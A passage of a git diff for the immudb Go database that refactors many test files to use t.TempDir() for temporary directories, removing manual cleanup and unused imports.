embedded/store/immustore_test.go | 5 +- pkg/client/cache/file_cache_test.go | 65 +++++---------- pkg/client/cache/history_file_cache_test.go | 44 +++------- pkg/integration/auditor_test.go | 12 +-- pkg/integration/follower_replication_test.go | 12 +-- pkg/integration/server_recovery_test.go | 8 +- pkg/pgsql/server/pgsql_integration_test.go | 82 ++++++------------- pkg/replication/replicator_test.go | 7 +- pkg/server/db_options_test.go | 14 +--- pkg/server/db_runtime_test.go | 10 +-- pkg/server/remote_storage_test.go | 78 ++++++------------ pkg/server/service_test.go | 8 +- .../transactions/transactions_test.go | 5 +- pkg/server/sever_current_state_test.go | 6 +- pkg/server/sql_test.go | 16 +--- pkg/server/stream_replication_test.go | 14 +--- pkg/server/stream_test.go | 8 +- pkg/server/transaction_test.go | 8 +- pkg/server/types_test.go | 14 +--- pkg/server/user_test.go | 26 ++---- pkg/server/webserver_test.go | 10 +-- pkg/streamutils/files_test.go | 8 +- 23 files changed, 147 insertions(+), 366 deletions(-) diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index d7136107b7..99e3b8fc11 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -226,8 +226,7 @@ func TestWritePastFirstChunk(t *testing.T) { } func prepareLocalTestFiles(t *testing.T) string { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) + path := t.TempDir() mapp, err := multiapp.Open(path, multiapp.DefaultOptions().WithFileSize(10).WithFileExt("tst")) require.NoError(t, err) @@ -245,7 +244,6 @@ func prepareLocalTestFiles(t *testing.T) string { func TestRemoteAppUploadOnStartup(t *testing.T) { path := prepareLocalTestFiles(t) - defer os.RemoveAll(path) opts := DefaultOptions() opts.WithFileExt("tst") @@ -262,9 +260,7 @@ func TestRemoteAppUploadOnStartup(t *testing.T) { } func TestReopenOnCleanShutdownWhenEmpty(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() mem := memory.Open() opts := DefaultOptions() @@ -295,9 +291,7 @@ func TestReopenOnCleanShutdownWhenEmpty(t *testing.T) { } func TestReopenFromRemoteStorageOnCleanShutdown(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() mem := memory.Open() opts := DefaultOptions() @@ -343,9 +337,7 @@ func TestRemoteStorageMetrics(t *testing.T) { mFailed := testutil.ToFloat64(metricsUploadFailed) mSucceeded := testutil.ToFloat64(metricsUploadSucceeded) - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() mem := memory.Open() opts := DefaultOptions() @@ -451,9 +443,7 @@ func (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path stri func TestRemoteStorageUploadRetry(t *testing.T) { mRetries := testutil.ToFloat64(metricsUploadRetried) - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() // Injecting exactly one error in put, get and exists operations var putErrInjected int32 @@ -498,9 +488,7 @@ func TestRemoteStorageUploadRetry(t *testing.T) { } func TestRemoteStorageUploadCancel(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() for _, name := range []string{"Put", "Get", "Exists"} { t.Run(name, func(t *testing.T) { @@ -567,9 +555,7 @@ func TestRemoteStorageUploadCancel(t *testing.T) { } func TestRemoteStorageUploadCancelWhenThrottled(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() // Injecting exactly one error in put, get and exists operations mem := &remoteStorageMockingWrapper{ @@ -603,9 +589,7 @@ func TestRemoteStorageUploadCancelWhenThrottled(t *testing.T) { } func _TestRemoteStorageUploadUnrecoverableError(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() mUploadFailed := testutil.ToFloat64(metricsUploadFailed) @@ -659,9 +643,7 @@ type errReader struct { func (e errReader) Read([]byte) (int, error) { return 0, e.err } func _TestRemoteStorageDownloadRetry(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() for _, errKind := range []string{"Open", "Read"} { t.Run(errKind, func(t *testing.T) { @@ -724,9 +706,7 @@ func _TestRemoteStorageDownloadRetry(t *testing.T) { } func TestRemoteStorageDownloadCancel(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() for _, errKind := range []string{"Open", "Read"} { t.Run(errKind, func(t *testing.T) { @@ -802,9 +782,7 @@ func TestRemoteStorageDownloadCancel(t *testing.T) { } func TestRemoteStorageDownloadUnrecoverableError(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() mDownloadFailed := testutil.ToFloat64(metricsDownloadFailed) @@ -847,7 +825,6 @@ func TestRemoteStorageDownloadUnrecoverableError(t *testing.T) { func TestRemoteStorageOpenChunkWhenUploading(t *testing.T) { path := prepareLocalTestFiles(t) - defer os.RemoveAll(path) mem := &remoteStorageMockingWrapper{ wrapped: memory.Open(), @@ -887,9 +864,7 @@ func TestRemoteStorageOpenChunkWhenUploading(t *testing.T) { } func TestRemoteStorageOpenInitialAppendableMissingRemoteChunk(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() // Prepare test dataset opts := DefaultOptions() @@ -930,9 +905,7 @@ func TestRemoteStorageOpenInitialAppendableMissingRemoteChunk(t *testing.T) { } func TestRemoteStorageOpenInitialAppendableCorruptedLocalFile(t *testing.T) { - path, err := ioutil.TempDir(os.TempDir(), "testdata") - require.NoError(t, err) - defer os.RemoveAll(path) + path := t.TempDir() // Prepare test dataset opts := DefaultOptions() diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index b69b7556ee..365d3c3936 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -23,7 +23,6 @@ import ( "errors" "fmt" "io" - "io/ioutil" "math/rand" "os" "path/filepath" @@ -996,9 +995,7 @@ func TestImmudbStoreIndexing(t *testing.T) { } func TestImmudbStoreRWTransactions(t *testing.T) { - dir, err := ioutil.TempDir("", "data_rwtx") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(dir, opts) diff --git a/pkg/client/cache/file_cache_test.go b/pkg/client/cache/file_cache_test.go index 0e24bb09b8..b784a496b7 100644 --- a/pkg/client/cache/file_cache_test.go +++ b/pkg/client/cache/file_cache_test.go @@ -4,7 +4,6 @@ import ( "encoding/base64" "fmt" "io/ioutil" - "os" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -12,21 +11,17 @@ import ( ) func TestNewFileCache(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) require.IsType(t, &fileCache{}, fc) } func TestFileCacheSetErrorNotLocked(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - err = fc.Set("uuid", "dbName", &schema.ImmutableState{ + err := fc.Set("uuid", "dbName", &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: nil, @@ -35,12 +30,10 @@ func TestFileCacheSetErrorNotLocked(t *testing.T) { } func TestFileCacheSet(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - err = fc.Lock("uuid") + err := fc.Lock("uuid") require.NoError(t, err) defer fc.Unlock() @@ -53,12 +46,10 @@ func TestFileCacheSet(t *testing.T) { } func TestFileCacheGet(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - err = fc.Lock("uuid") + err := fc.Lock("uuid") require.NoError(t, err) defer fc.Unlock() @@ -76,24 +67,20 @@ func TestFileCacheGet(t *testing.T) { } func TestFileCacheGetFailNotLocked(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - _, err = fc.Get("uuid", "dbName") + _, err := fc.Get("uuid", "dbName") require.ErrorIs(t, err, ErrCacheNotLocked) } func TestFileCacheGetSingleLineError(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() dbName := "dbt" - err = ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"), 0666) + err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"), 0666) require.NoError(t, err) fc := NewFileCache(dirname) @@ -106,13 +93,11 @@ func TestFileCacheGetSingleLineError(t *testing.T) { } func TestFileCacheGetRootUnableToDecodeErr(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() dbName := "dbt" - err = ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":firstLine"), 0666) + err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":firstLine"), 0666) require.NoError(t, err) fc := NewFileCache(dirname) @@ -125,13 +110,11 @@ func TestFileCacheGetRootUnableToDecodeErr(t *testing.T) { } func TestFileCacheGetRootUnmarshalErr(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() dbName := "dbt" - err = ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"+base64.StdEncoding.EncodeToString([]byte("wrong-content"))), 0666) + err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"+base64.StdEncoding.EncodeToString([]byte("wrong-content"))), 0666) require.NoError(t, err) fc := NewFileCache(dirname) @@ -144,13 +127,11 @@ func TestFileCacheGetRootUnmarshalErr(t *testing.T) { } func TestFileCacheGetEmptyFile(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() dbName := "dbt" - err = ioutil.WriteFile(dirname+"/.state-test", []byte(""), 0666) + err := ioutil.WriteFile(dirname+"/.state-test", []byte(""), 0666) require.NoError(t, err) fc := NewFileCache(dirname) @@ -163,12 +144,10 @@ func TestFileCacheGetEmptyFile(t *testing.T) { } func TestFileCacheOverwriteHash(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - err = fc.Lock("test") + err := fc.Lock("test") require.NoError(t, err) defer fc.Unlock() @@ -188,12 +167,10 @@ func TestFileCacheOverwriteHash(t *testing.T) { } func TestFileCacheMultipleDatabases(t *testing.T) { - dirname, err := ioutil.TempDir("", "example") - require.NoError(t, err) - defer os.RemoveAll(dirname) + dirname := t.TempDir() fc := NewFileCache(dirname) - err = fc.Lock("test") + err := fc.Lock("test") require.NoError(t, err) defer fc.Unlock() diff --git a/pkg/client/cache/history_file_cache_test.go b/pkg/client/cache/history_file_cache_test.go index 81e30eb92d..3a5b61f442 100644 --- a/pkg/client/cache/history_file_cache_test.go +++ b/pkg/client/cache/history_file_cache_test.go @@ -30,22 +30,18 @@ import ( ) func TestNewHistoryFileCache(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) require.IsType(t, &historyFileCache{}, fc) } func TestNewHistoryFileCacheSet(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) - err = fc.Set("uuid", "dbName", &schema.ImmutableState{TxId: 1, TxHash: []byte{1}}) + err := fc.Set("uuid", "dbName", &schema.ImmutableState{TxId: 1, TxHash: []byte{1}}) require.NoError(t, err) err = fc.Set("uuid", "dbName", &schema.ImmutableState{TxId: 2, TxHash: []byte{2}}) @@ -60,11 +56,9 @@ func TestNewHistoryFileCacheSet(t *testing.T) { } func TestNewHistoryFileCacheGet(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) root, err := fc.Get("uuid", "dbName") require.NoError(t, err) @@ -72,11 +66,9 @@ func TestNewHistoryFileCacheGet(t *testing.T) { } func TestNewHistoryFileCacheWalk(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) iface, err := fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { return nil @@ -99,26 +91,22 @@ func TestNewHistoryFileCacheWalk(t *testing.T) { } func TestHistoryFileCache_SetError(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) - err = fc.Set("uuid", "dbName", nil) + err := fc.Set("uuid", "dbName", nil) require.Error(t, err) } func TestHistoryFileCache_GetError(t *testing.T) { - dir, err := ioutil.TempDir("", "example") - require.NoError(t, err) + dir := t.TempDir() fc := NewHistoryFileCache(dir) - defer os.RemoveAll(dir) // create a dummy file so that the cache can't create the directory // automatically - err = ioutil.WriteFile(filepath.Join(dir, "exists"), []byte("data"), 0644) + err := ioutil.WriteFile(filepath.Join(dir, "exists"), []byte("data"), 0644) require.NoError(t, err) _, err = fc.Get("exists", "dbName") require.Error(t, err) @@ -135,29 +123,23 @@ func TestHistoryFileCache_SetMissingFolder(t *testing.T) { } func TestHistoryFileCache_WalkFolderNotExistsCreated(t *testing.T) { - dir, err := ioutil.TempDir("", "history-cache") - require.NoError(t, err) - - defer os.RemoveAll(dir) + dir := t.TempDir() notExists := filepath.Join(dir, "not-exists") fc := NewHistoryFileCache(notExists) - _, err = fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { + _, err := fc.Walk("uuid", "dbName", func(root *schema.ImmutableState) interface{} { return nil }) require.NoError(t, err) } func TestHistoryFileCache_getStatesFileInfosError(t *testing.T) { - dir, err := ioutil.TempDir("", "history-cache") - require.NoError(t, err) - - defer os.RemoveAll(dir) + dir := t.TempDir() notExists := filepath.Join(dir, "does-not-exist") fc := &historyFileCache{dir: notExists} - _, err = fc.getStatesFileInfos(dir) + _, err := fc.getStatesFileInfos(dir) require.NoError(t, err) } diff --git a/pkg/integration/auditor_test.go b/pkg/integration/auditor_test.go index 1d36b4e248..af065f3f29 100644 --- a/pkg/integration/auditor_test.go +++ b/pkg/integration/auditor_test.go @@ -201,9 +201,7 @@ func TestDefaultAuditorRunOnDb(t *testing.T) { require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) - auditorDir, err := ioutil.TempDir("", "auditor_test") - require.NoError(t, err) - defer os.RemoveAll(auditorDir) + auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), @@ -294,9 +292,7 @@ func TestRepeatedAuditorRunOnDb(t *testing.T) { }, } - auditorDir, err := ioutil.TempDir("", "auditor_test") - require.NoError(t, err) - defer os.RemoveAll(auditorDir) + auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), @@ -390,9 +386,7 @@ func testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) { require.NoError(t, err) serviceClient := schema.NewImmuServiceClient(clientConn) - auditorDir, err := ioutil.TempDir("", "auditor_test") - require.NoError(t, err) - defer os.RemoveAll(auditorDir) + auditorDir := t.TempDir() da, err := auditor.DefaultAuditor( time.Duration(0), diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index d47b00584a..1199e6b94a 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -18,9 +18,7 @@ package integration import ( "context" - "io/ioutil" "net" - "os" "testing" "time" @@ -191,9 +189,7 @@ func TestReplication(t *testing.T) { func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary server - primaryDir, err := ioutil.TempDir("", "primary-data") - require.NoError(t, err) - defer os.RemoveAll(primaryDir) + primaryDir := t.TempDir() primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). @@ -204,7 +200,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) - err = primaryServer.Initialize() + err := primaryServer.Initialize() require.NoError(t, err) go func() { @@ -225,9 +221,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { defer primaryClient.CloseSession(context.Background()) // init replica server - replicaDir, err := ioutil.TempDir("", "replica-data") - require.NoError(t, err) - defer os.RemoveAll(replicaDir) + replicaDir := t.TempDir() replicationOpts := &server.ReplicationOptions{ IsReplica: true, diff --git a/pkg/integration/server_recovery_test.go b/pkg/integration/server_recovery_test.go index e49de52873..63ea8dda9a 100644 --- a/pkg/integration/server_recovery_test.go +++ b/pkg/integration/server_recovery_test.go @@ -17,8 +17,6 @@ limitations under the License. package integration import ( - "io/ioutil" - "os" "testing" "time" @@ -27,9 +25,7 @@ import ( ) func TestServerRecovertMode(t *testing.T) { - dir, err := ioutil.TempDir("", "integration_test") - require.NoError(t, err) - defer os.RemoveAll(dir) + dir := t.TempDir() serverOptions := server.DefaultOptions(). WithDir(dir). @@ -41,7 +37,7 @@ func TestServerRecovertMode(t *testing.T) { s := server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer) - err = s.Initialize() + err := s.Initialize() require.Equal(t, server.ErrAuthMustBeDisabled, err) serverOptions = server.DefaultOptions(). diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 0d1da343e7..0e862ec3f6 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -22,7 +22,6 @@ import ( "database/sql" "encoding/hex" "fmt" - "io/ioutil" "math/rand" "os" "sync" @@ -39,14 +38,13 @@ import ( ) func TestPgsqlServer_SimpleQuery(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -70,14 +68,13 @@ func TestPgsqlServer_SimpleQuery(t *testing.T) { } func TestPgsqlServer_SimpleQueryBlob(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -107,14 +104,13 @@ func TestPgsqlServer_SimpleQueryBlob(t *testing.T) { } func TestPgsqlServer_SimpleQueryBool(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -139,14 +135,13 @@ func TestPgsqlServer_SimpleQueryBool(t *testing.T) { } func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -159,14 +154,13 @@ func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -179,14 +173,13 @@ func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -199,14 +192,13 @@ func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -219,14 +211,13 @@ func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -239,14 +230,13 @@ func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -259,13 +249,12 @@ func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -279,14 +268,13 @@ func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { } func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -313,14 +301,13 @@ func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -344,14 +331,13 @@ func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { } func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -367,14 +353,13 @@ func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing. } func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -392,7 +377,7 @@ func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { } func TestPgsqlServer_SimpleQueryQuerySSLConn(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() certPem := []byte(`-----BEGIN CERTIFICATE----- MIIBhTCCASugAwIBAgIQIRi6zePL6mKjOipn+dNuaTAKBggqhkjOPQQDAjASMRAw @@ -421,7 +406,6 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -435,14 +419,13 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== } func TestPgsqlServer_SSLNotEnabled(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -457,14 +440,13 @@ func TestPgsqlServer_SSLNotEnabled(t *testing.T) { } func _TestPgsqlServer_SimpleQueryAsynch(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -498,14 +480,13 @@ func _TestPgsqlServer_SimpleQueryAsynch(t *testing.T) { } func TestPgsqlServer_VersionStatement(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -520,14 +501,13 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { } func TestPgsqlServerSetStatement(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -540,14 +520,13 @@ func TestPgsqlServerSetStatement(t *testing.T) { } func TestPgsqlServer_SimpleQueryNilValues(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -579,14 +558,13 @@ func getRandomTableName() string { } func TestPgsqlServer_ExtendedQueryPG(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -610,14 +588,13 @@ func TestPgsqlServer_ExtendedQueryPG(t *testing.T) { } func TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -644,14 +621,13 @@ func TestPgsqlServer_ExtendedQueryPGxNamedStatements(t *testing.T) { } func TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + td := t.TempDir() options := server.DefaultOptions().WithDir(td).WithPgsqlServer(true).WithPgsqlServerPort(0) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() - defer os.RemoveAll(td) defer os.Remove(".state-") bs.WaitForPgsqlListener() @@ -688,14 +664,13 @@ func TestPgsqlServer_ExtendedQueryPGxMultiFieldsPreparedStatements(t *testing.T) } func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedStatements(t *testing.T) { - td, _ := ioutil.TempDir("", "_pgsql") + 